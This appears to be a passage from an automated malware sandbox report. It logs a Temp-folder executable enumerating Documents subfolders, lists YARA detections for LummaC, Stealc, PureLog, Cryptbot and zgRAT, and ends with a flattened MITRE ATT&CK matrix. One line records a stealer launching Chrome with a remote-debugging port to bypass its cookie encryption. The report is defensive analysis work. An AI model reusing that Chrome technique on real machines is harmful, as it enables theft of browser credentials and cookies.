                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: number of queries: 2982
                                      Source: Yara matchFile source: 00000026.00000003.3250651286.0000000000D83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 00000028.00000003.3414236004.0000000000B13000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 00000026.00000003.3248838513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 00000028.00000003.3413256605.0000000000B70000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 00000026.00000003.3249083501.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 00000026.00000003.3279573878.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 00000026.00000003.3248936218.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: Process Memory Space: 1f3cab3382.exe PID: 5360, type: MEMORYSTR
                                      Source: Yara matchFile source: Process Memory Space: 1f3cab3382.exe PID: 1256, type: MEMORYSTR

                                      Remote Access Functionality

                                      barindex
                                      Attempt to bypass Chrome Application-Bound Encryption
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
                                      Yara detected Credential Flusher
                                      Source: Yara matchFile source: Process Memory Space: 0d11b39aa9.exe PID: 7148, type: MEMORYSTR
                                      Yara detected Cryptbot
                                      Source: Yara matchFile source: dump.pcap, type: PCAP
                                      Yara detected LummaC Stealer
                                      Source: Yara matchFile source: Process Memory Space: 1f3cab3382.exe PID: 5360, type: MEMORYSTR
                                      Source: Yara matchFile source: sslproxydump.pcap, type: PCAP
                                      Source: Yara matchFile source: decrypted.memstr, type: MEMORYSTR
                                      Source: Yara matchFile source: Process Memory Space: 1f3cab3382.exe PID: 1256, type: MEMORYSTR
                                      Yara detected PureLog Stealer
                                      Source: Yara matchFile source: 35.2.1eb4b174fd.exe.3cc94e0.0.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 35.0.1eb4b174fd.exe.5f0000.0.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 35.2.1eb4b174fd.exe.3c83198.2.raw.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe, type: DROPPED
                                      Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe, type: DROPPED
                                      Yara detected Stealc
                                      Source: Yara matchFile source: 00000027.00000003.3179461866.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: Process Memory Space: d173cd9705.exe PID: 5832, type: MEMORYSTR
                                      Source: Yara matchFile source: dump.pcap, type: PCAP
                                      Yara detected zgRAT
                                      Source: Yara matchFile source: 35.2.1eb4b174fd.exe.3c83198.2.raw.unpack, type: UNPACKEDPE

                                      Mitre Att&ck Matrix

                                      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                                      Gather Victim Identity Information1
                                      Scripting                                      		Valid Accounts21
                                      Windows Management Instrumentation                                      		1
                                      Scripting                                      		1
                                      DLL Side-Loading                                      		11
                                      Disable or Modify Tools                                      		2
                                      OS Credential Dumping                                      		1
                                      System Time Discovery                                      		Remote Services12
                                      Archive Collected Data                                      		12
                                      Ingress Tool Transfer                                      		Exfiltration Over Other Network MediumAbuse Accessibility Features
                                      CredentialsDomainsDefault Accounts11
                                      Native API                                      		1
                                      DLL Side-Loading                                      		1
                                      Extra Window Memory Injection                                      		111
                                      Deobfuscate/Decode Files or Information                                      		LSASS Memory24
                                      File and Directory Discovery                                      		Remote Desktop Protocol41
                                      Data from Local System                                      		11
                                      Encrypted Channel                                      		Exfiltration Over BluetoothNetwork Denial of Service
                                      Email AddressesDNS ServerDomain Accounts12
                                      Command and Scripting Interpreter                                      		11
                                      Scheduled Task/Job                                      		1
                                      Access Token Manipulation                                      		31
                                      Obfuscated Files or Information                                      		Security Account Manager2510
                                      System Information Discovery                                      		SMB/Windows Admin Shares1
                                      Email Collection                                      		1
                                      Remote Access Software                                      		Automated ExfiltrationData Encrypted for Impact
                                      Employee NamesVirtual Private ServerLocal Accounts11
                                      Scheduled Task/Job                                      		11
                                      Registry Run Keys / Startup Folder                                      		412
                                      Process Injection                                      		221
                                      Software Packing                                      		NTDS1
                                      Query Registry                                      		Distributed Component Object ModelInput Capture3
                                      Non-Application Layer Protocol                                      		Traffic DuplicationData Destruction
                                      Gather Victim Network InformationServerCloud Accounts2
                                      PowerShell                                      		Network Logon Script11
                                      Scheduled Task/Job                                      		1
                                      Timestomp                                      		LSA Secrets1081
                                      Security Software Discovery                                      		SSHKeylogging114
                                      Application Layer Protocol                                      		Scheduled TransferData Encrypted for Impact
                                      Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts11
                                      Registry Run Keys / Startup Folder                                      		1
                                      DLL Side-Loading                                      		Cached Domain Credentials13
                                      Process Discovery                                      		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                                      DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                                      Extra Window Memory Injection                                      		DCSync481
                                      Virtualization/Sandbox Evasion                                      		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                                      Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job11
                                      Masquerading                                      		Proc Filesystem1
                                      Application Window Discovery                                      		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                                      Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt481
                                      Virtualization/Sandbox Evasion                                      		/etc/passwd and /etc/shadow11
                                      Remote System Discovery                                      		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                                      IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron1
                                      Access Token Manipulation                                      		Network Sniffing1
                                      System Network Configuration Discovery                                      		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
                                      Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd412
                                      Process Injection                                      		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

                                      Behavior Graph

                                      Hide Legend

                                      Legend:

                                      • Process
                                      • Signature
                                      • Created File
                                      • DNS/IP Info
                                      • Is Dropped
                                      • Is Windows Process
                                      • Number of created Registry Values
                                      • Number of created Files
                                      • Visual Basic
                                      • Delphi
                                      • Java
                                      • .Net C# or VB.NET
                                      • C, C++ or other language
                                      • Is malicious
                                      • Internet
